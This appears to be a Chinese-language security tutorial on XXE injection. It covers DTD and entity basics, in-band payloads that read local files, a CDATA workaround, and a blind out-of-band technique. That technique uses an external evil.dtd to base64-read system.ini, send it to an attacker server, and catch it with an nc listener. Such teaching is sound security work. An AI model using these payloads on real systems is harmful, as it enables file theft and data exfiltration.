XXE简介
1 | XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害 |
XXE基本知识
XML文档示例
1 | <!--XML声明--> |
DTD
XML文档包括XML声明,DTD文档类型定义(可选),文档元素。
1 | 内部声明DTD: |
DTD中的关键字:
1 | DOCTYPE(声明) |
通用实体&参数实体
通用实体
1 | 用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用 |
参数实体
1 | 使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用 |
总结:
1 | 参数实体(用%声明,用%引用。 DTD中声明,DTD中引用) |
XXE攻击利用
有回显读本地非敏感文件
服务器源代码:xml.php
1 | <?php |
payload
1 | <?xml version="1.0" encoding="utf-8"?> |
结果
有回显读本地敏感文件
想要读取C盘下whoami.txt文件,这里文件中包含&&&<>敏感字符
发现报错了,因为txt文件的<字符会被xml解析器当作新元素的开始,那如何解决这个问题,我们需要了解一下:CDATA
CDATA指的是不应由XML解析器进行解析的文本数据。CADATA中的所有内容都会被XML解析器忽略。
payload
1 | <?xml version="1.0" encoding="utf-8"?> |
无回显外带请求读取文件
xml.php
1 | <?php |
evil.dtd
1 | <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/windows/system.ini"> |
payload
1 | <!DOCTYPE root[ |
vps监听7777端口
1 | nc -lvp 7777 |
调用过程:
在payload中看到连续调用了三个请求实体%remote;%int;%send;,首先%remote先调用,调用后请求7777端口的evil.dtd文件,然后%int调用evil.dtd中的%file,%file就会去获取服务器上的system.ini文件,然后将返回的结果进行base64编码再填充到%send中(实体内容不能有%,所以进行html编码为%),调用%send,将内容发到我们监听的服务器上(这里我用本机演示的),这就实现了外带数据的效果,解决了XXE无回显的问题。